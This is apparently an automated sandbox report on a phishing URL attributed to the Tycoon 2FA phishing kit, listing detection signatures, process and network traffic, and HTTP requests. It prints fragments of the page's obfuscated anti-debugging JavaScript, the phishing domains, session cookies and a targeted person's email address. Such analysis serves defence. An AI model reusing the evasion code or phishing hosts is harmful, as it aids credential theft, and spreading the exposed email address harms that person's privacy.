Edit tour

Windows Analysis Report
https://c2uah.yazvbqkl.ru/QPImv5ff/#Mjessie.smith@aol.com

Overview

General Information

Sample URL:	https://c2uah.yazvbqkl.ru/QPImv5ff/#Mjessie.smith@aol.com
Analysis ID:	1649699
Infos:

Detection

Invisible JS, Tycoon2FA

Score:	76
Range:	0 - 100
Confidence:	100%

Signatures

Yara detected AntiDebug via timestamp check

Yara detected Invisible JS

Yara detected Obfuscation Via HangulCharacter

Yara detected Tycoon 2FA PaaS

AI detected suspicious Javascript

Creates files inside the system directory

Deletes files inside the Windows folder

HTML page contains hidden javascript code

URL contains potential PII (phishing indication)

Uses Javascript AES encryption / decryption (likely to hide suspicious Javascript code)

Classification

Process Tree

System is w10x64

chrome.exe (PID: 1232 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 5376 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2468,i,17262453580644032668,2963908669655429750,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2312 /prefetch:3 MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 6772 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://c2uah.yazvbqkl.ru/QPImv5ff/#Mjessie.smith@aol.com" MD5: E81F54E6C1129887AEA47E7D092680BF)

cleanup

Yara Signatures

HTML

Source	Rule	Description	Author
1.12..script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
1.12..script.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
0.7.d.script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
0.1.d.script.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
0.2.d.script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
0.2.d.script.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
0.10.d.script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
0.5.d.script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
0.6..script.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
0.1.d.script.csv	JoeSecurity_InvisibleJS	Yara detected Invisible JS	Joe Security
0.0.pages.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
0.1.pages.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
0.0.pages.csv	JoeSecurity_InvisibleJS	Yara detected Invisible JS	Joe Security
0.1.pages.csv	JoeSecurity_InvisibleJS	Yara detected Invisible JS	Joe Security
Click to see the 9 entries

Joe Sandbox Signatures

• Phishing
• Compliance
• Networking
• System Summary
• Malware Analysis System Evasion

Click to jump to signature section

Show All Signature Results

Phishing

Yara detected Invisible JS

Source: Yara match	File source: 0.1.d.script.csv, type: HTML
Source: Yara match	File source: 0.0.pages.csv, type: HTML
Source: Yara match	File source: 0.1.pages.csv, type: HTML

Yara detected Obfuscation Via HangulCharacter

Source: Yara match	File source: 0.1.d.script.csv, type: HTML
Source: Yara match	File source: 0.6..script.csv, type: HTML
Source: Yara match	File source: 0.0.pages.csv, type: HTML
Source: Yara match	File source: 0.1.pages.csv, type: HTML

Yara detected Tycoon 2FA PaaS

Source: Yara match	File source: 1.12..script.csv, type: HTML
Source: Yara match	File source: 0.7.d.script.csv, type: HTML
Source: Yara match	File source: 0.2.d.script.csv, type: HTML
Source: Yara match	File source: 0.10.d.script.csv, type: HTML
Source: Yara match	File source: 0.5.d.script.csv, type: HTML

AI detected suspicious Javascript

Source: 0.0..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://c2uah.yazvbqkl.ru/QPImv5ff/... This script demonstrates several high-risk behaviors, including dynamic code execution, data exfiltration, and obfuscated code/URLs. The use of `atob()` and `decodeURIComponent(escape())` to decode and execute remote code is a clear indicator of malicious intent. Additionally, the script appears to be interacting with suspicious domains, further increasing the risk. Overall, this script exhibits a high level of malicious behavior and should be treated with caution.
Source: 1.12..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://c2uah.yazvbqkl.ru/TTYCVJZBMCDQJBLCWRBAD3q3... This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and aggressive DOM manipulation. It checks for the presence of web automation tools, redirects to a blank page, and intercepts various keyboard and clipboard events to prevent common debugging and security actions. Additionally, it includes an interval-based debugger trap that redirects the user to an external website. These behaviors are highly suspicious and indicate a potentially malicious intent, warranting a high-risk score.
Source: 0.9..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://c2uah.yazvbqkl.ru/QPImv5ff/... This script demonstrates several high-risk behaviors, including dynamic code execution, potential data exfiltration, and suspicious redirection. The use of obfuscated code and the presence of a debugger statement further increase the risk. Overall, this script exhibits a high level of malicious intent and should be considered a significant security threat.
Source: 0.8..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://c2uah.yazvbqkl.ru/QPImv5ff/... This script exhibits several high-risk behaviors, including dynamic code execution through the use of `atob()` and string manipulation to obfuscate the code. Additionally, the script appears to be sending data to an external domain, which could potentially be used for data exfiltration. The combination of these factors, along with the overall obfuscation of the code, suggests a high likelihood of malicious intent.
Source: 0.6..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://c2uah.yazvbqkl.ru/QPImv5ff/... This script demonstrates high-risk behavior with the use of the `eval` function to execute dynamic code. The obfuscated string is decoded and then evaluated, which can lead to the execution of malicious code. Additionally, the script uses a `Proxy` object to intercept property access, further increasing the risk of unintended code execution. Overall, this script exhibits a high level of risk and should be thoroughly reviewed before execution.

Source: https://c2uah.yazvbqkl.ru/QPImv5ff/#Mjessie.smith@aol.com

HTTP Parser: Base64 decoded: if (navigator.webdriver || window.callPhantom || window._phantom || navigator.userAgent.includes("Burp")) { window.location = "about:blank";}document.addEventListener("keydown", function (event) { function MPbSpLpzVD(event) { co...

Source: https://c2uah.yazvbqkl.ru/QPImv5ff/#Mjessie.smith@aol.com

Sample URL: PII: Mjessie.smith@aol.com

Source: https://c2uah.yazvbqkl.ru/QPImv5ff/

HTTP Parser: function ozbiopnuoj(){qvnlchmunl = atob("pcfet0nuwvbfigh0bww+cjxodg1sigxhbmc9imvuij4kpghlywq+ciagpg1ldgegy2hhcnnldd0ivvrgltgipgogidxtzxrhig5hbwu9inzpzxdwb3j0iibjb250zw50psj3awr0ad1kzxzpy2utd2lkdggsigluaxrpywwtc2nhbgu9ms4wij4kica8dgl0bgu+vgvjacbtb2x1dglvbnmglsbjbm5vdmf0aw5nihrozsbgdxr1cmu8l3rpdgxlpgogidxzdhlszt4kicagigjvzhkgewogicagicbmb250lwzhbwlsetogqxjpywwsihnhbnmtc2vyawy7ciagicagigxpbmutagvpz2h0oiaxljy7ciagicagig1hcmdpbjogmdskicagicagcgfkzgluzzogmdskicagicagymfja2dyb3vuzc1jb2xvcjogi2y0zjrmndskicagicagy29sb3i6icmzmzm7ciagicb9ciagicbozwfkzxigewogicagicbiywnrz3jvdw5koiajmda1ytllowogicagicbjb2xvcjogi2zmzjskicagicagcgfkzgluzzogmjbwecawowogicagicb0zxh0lwfsawduoibjzw50zxi7ciagicb9ciagicbozwfkzxigadegewogicagicbtyxjnaw46ida7ciagicagigzvbnqtc2l6ztogmi41cmvtowogicagfqogicagbmf2ihskicagicagymfja2dyb3vuzdogizmzmzskicagicagy29sb3i6icnmzmy7ciagicagihbhzgrpbmc6idewchg7ciagicagihrlehqtywxpz246ignlbnrlcjskicagih0kicagig5hdibhihskicagicagy29sb3i6icnmzmy7ciagicagihrlehqtzgvjb3jhdglvbjogbm9uztskicagicagbwfyz2luoiawide1chg7c...

Source: https://www.flipkart.com/

HTTP Parser: No favicon

Source: unknown	HTTPS traffic detected: 142.250.72.100:443 -> 192.168.2.4:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.64.80.1:443 -> 192.168.2.4:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.64.80.1:443 -> 192.168.2.4:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.130.137:443 -> 192.168.2.4:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.17.25.14:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.2.189:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.5.189:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.1:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.4:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.64.80.1:443 -> 192.168.2.4:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.4:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 103.243.32.90:443 -> 192.168.2.4:49755 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 103.243.32.90:443 -> 192.168.2.4:49756 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.4:49768 version: TLS 1.2

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.222
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.222
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.65.163
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.65.163
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.65.163
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.65.163
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.65.163
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.65.163
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.65.163
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /QPImv5ff/ HTTP/1.1Host: c2uah.yazvbqkl.ruConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://c2uah.yazvbqkl.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://c2uah.yazvbqkl.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.png HTTP/1.1Host: developers.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://c2uah.yazvbqkl.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.png HTTP/1.1Host: developers.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=PsHvja_JU5DsLeV2n_IfCF3qSUto_qgLA4ad7m9UXVw-1743032815-1.0.1.1-mUOdQvdX8ypp5pXPQt8l.xU55K5Gy.r3__NyIT2UGH5jyrIrWbvYSDMD.53TEEEY6VfSM5Hfcb32JZ1Fr42n8mMdJq9FFkFCBFIpITUaAMo
Source: global traffic	HTTP traffic detected: GET /gando$7ntu0 HTTP/1.1Host: 2tvg7b.nmpjkg.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Origin: https://c2uah.yazvbqkl.ruSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://c2uah.yazvbqkl.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /gando$7ntu0 HTTP/1.1Host: 2tvg7b.nmpjkg.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /QPImv5ff/ HTTP/1.1Host: c2uah.yazvbqkl.ruConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://c2uah.yazvbqkl.ru/QPImv5ff/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjFqYThnOGUwblo5S3dpZXZhbWlxaEE9PSIsInZhbHVlIjoiRXNzOXlMOUc4aU9KQVM2TU1pa1gxSUhVUGIveWxtVDkwcWE1c3NPdUpFUGZiWWk3MHdqTEFuVGtuSXdTZG9zVjdKSk5FVmd3ZndqQzhBZjM1K3d6NGMzdVZKWmdFZXdIdG12UTAxTWdGdFZ2dklEcUZTRlo4NG40V3lSVUhQQTUiLCJtYWMiOiI5ODQ5ZTQ5YzZlNjAzMjk1NmRkMTFhZjdiNWI3MjNmMWEyMzIwMjYzODA3OWMzOTliNGJlNWQ1ZjRjNTM3ODA2IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InJNMDkrNE95T2VkQ0NPWldYVGhPbXc9PSIsInZhbHVlIjoiaE1mRUtBRExBMkM4RHU1SC9tLytscGNITUJScVJGdG5TdGdMek5Lb2o5dHA2Y3FlelpjcTRvalNuQklHN1FBT0lIZUQ2TmNpUENITWxzaGgwVjZKSmtkTVVqZE5uK3ZYMmpiMWgwV1lyRWxCZDdYZDNrbVhrWWg1OU1sU1lDY0oiLCJtYWMiOiJmMjJiZWZkNzcwNDA4NmE1OTQ3ODE2MmZkMDY1NzFkMGFhN2YwOWU4NGE2YTk2MTA5MGE1OGYwODJlNjA1M2FlIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /gqTcG7twUYwRtxUyPvN52fc472uxn HTTP/1.1Host: c2uah.yazvbqkl.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjFqYThnOGUwblo5S3dpZXZhbWlxaEE9PSIsInZhbHVlIjoiRXNzOXlMOUc4aU9KQVM2TU1pa1gxSUhVUGIveWxtVDkwcWE1c3NPdUpFUGZiWWk3MHdqTEFuVGtuSXdTZG9zVjdKSk5FVmd3ZndqQzhBZjM1K3d6NGMzdVZKWmdFZXdIdG12UTAxTWdGdFZ2dklEcUZTRlo4NG40V3lSVUhQQTUiLCJtYWMiOiI5ODQ5ZTQ5YzZlNjAzMjk1NmRkMTFhZjdiNWI3MjNmMWEyMzIwMjYzODA3OWMzOTliNGJlNWQ1ZjRjNTM3ODA2IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InJNMDkrNE95T2VkQ0NPWldYVGhPbXc9PSIsInZhbHVlIjoiaE1mRUtBRExBMkM4RHU1SC9tLytscGNITUJScVJGdG5TdGdMek5Lb2o5dHA2Y3FlelpjcTRvalNuQklHN1FBT0lIZUQ2TmNpUENITWxzaGgwVjZKSmtkTVVqZE5uK3ZYMmpiMWgwV1lyRWxCZDdYZDNrbVhrWWg1OU1sU1lDY0oiLCJtYWMiOiJmMjJiZWZkNzcwNDA4NmE1OTQ3ODE2MmZkMDY1NzFkMGFhN2YwOWU4NGE2YTk2MTA5MGE1OGYwODJlNjA1M2FlIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: c2uah.yazvbqkl.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://c2uah.yazvbqkl.ru/QPImv5ff/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlBKMDE0Wk51ZTJUR0tqMlo5YmNLMnc9PSIsInZhbHVlIjoiVmRtTjVBTTdwckJpQXBJUjE5ZjBMOUhKaHQrTi8zSU5VU0lXUzFhTmdVZEoyaDBkSlJlaEgvaFZ4UFNsdHJiS0M5dWJYSnA0MVBvNWNUbElxUlQrbEdwSlhHaWRqMzNRUWE3Z2UxMVlQZWRZWk05SlJLalBDUFNkRjVabHNSSVAiLCJtYWMiOiI5YzRiNjkzNGQ0ZDM5ODM4MmEwOTZiMDA2N2M0NzY1YzUyZGFjMWY4ZWI3MzAzZmU5NGRhZDEzMzYzZTQwYzJlIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjcrcGZKaXRGS2FJckNQL0taRDlhcFE9PSIsInZhbHVlIjoiM3JveDM5ZGpCMG5adkh4eWdldlNyYnBSRTBDb2VaQzVWU3llZnJTTXpQai9CSHBUVTJWbFd1UmJBejdzVG5qWDNtWkVsZWtIRXgxUUliNXo0ckpHaEt4M0xMeXdGc1dQTnVDWlppTHVIT013amQzQ3N6UFdKN0thaXlKVUV0cCsiLCJtYWMiOiIzNWE5ZTA2NDU2NjE5NDdhMDhiN2UyMmQ1NTY3ODM2ZTk0NmMyZTdiOThhNWUyNzg2YmI5MzYwNWMzNzg1MGYzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /TTYCVJZBMCDQJBLCWRBAD3q3meqvkaul0wmowr3w5st?HVIMOAMLNSBOHPTOLUFHESIPEVX HTTP/1.1Host: c2uah.yazvbqkl.ruConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://c2uah.yazvbqkl.ru/QPImv5ff/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IkNpcndQekk3b3llKzhIQ3I3RGhkTFE9PSIsInZhbHVlIjoiMjlMZGtLSDZ0T0MvYVNMVDZuaDZxdjc0ZVMvb09ZL1hxdHkzZVk0V29TeENTY1dCaS9qYldrNGJRcndJMDZDeHlnSXBMZWNRRldGOGtFNlhGZzlFdWxQNDVlaXZDN3hMZWV3TjFoRGhIdGEwWXZIdWdkaEthL0tsU3Ywa3puemkiLCJtYWMiOiI1Y2I5NTlmYzgwZGVkMmY1YTRlY2I4MDU4MDYzMTU4NTRkMjk4ZjUxNTJhZGYwNzA5NWQyOTRiMzNiYzAwOGY5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlRzUEpUWFNiSC9uOVFvOTJZbitVN1E9PSIsInZhbHVlIjoiYXY2d1g4TytaS3duWEJOVnd1ZUR1UXRqYmpKV3l3SnV5WXRHOHQ0eDVNZmwwMjkzZ3hmdEhOeXRzY29RK0lGV3dmYkM1cDRWaFRVRDgvbmQ4MTBsemlUODVIRVp1WkpFWjhwSEwyL2xmQ1hnc1B0aFlTcHYycDArSVM5M0FRSmciLCJtYWMiOiI4OTg5Yzg2MjNiMzgzMTcwNjc2NTBjNzA3NzU0MjBmZDk0OTZhZDUzOGQzMTUxYmUwMDgwODdiMjkyMWNkOWU5IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /zc9h5KLA97aYiXtDf7w01bNnVOtkaft2ArioILdXr0fq HTTP/1.1Host: c2uah.yazvbqkl.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IkNpcndQekk3b3llKzhIQ3I3RGhkTFE9PSIsInZhbHVlIjoiMjlMZGtLSDZ0T0MvYVNMVDZuaDZxdjc0ZVMvb09ZL1hxdHkzZVk0V29TeENTY1dCaS9qYldrNGJRcndJMDZDeHlnSXBMZWNRRldGOGtFNlhGZzlFdWxQNDVlaXZDN3hMZWV3TjFoRGhIdGEwWXZIdWdkaEthL0tsU3Ywa3puemkiLCJtYWMiOiI1Y2I5NTlmYzgwZGVkMmY1YTRlY2I4MDU4MDYzMTU4NTRkMjk4ZjUxNTJhZGYwNzA5NWQyOTRiMzNiYzAwOGY5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlRzUEpUWFNiSC9uOVFvOTJZbitVN1E9PSIsInZhbHVlIjoiYXY2d1g4TytaS3duWEJOVnd1ZUR1UXRqYmpKV3l3SnV5WXRHOHQ0eDVNZmwwMjkzZ3hmdEhOeXRzY29RK0lGV3dmYkM1cDRWaFRVRDgvbmQ4MTBsemlUODVIRVp1WkpFWjhwSEwyL2xmQ1hnc1B0aFlTcHYycDArSVM5M0FRSmciLCJtYWMiOiI4OTg5Yzg2MjNiMzgzMTcwNjc2NTBjNzA3NzU0MjBmZDk0OTZhZDUzOGQzMTUxYmUwMDgwODdiMjkyMWNkOWU5IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: www.flipkart.comConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://c2uah.yazvbqkl.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
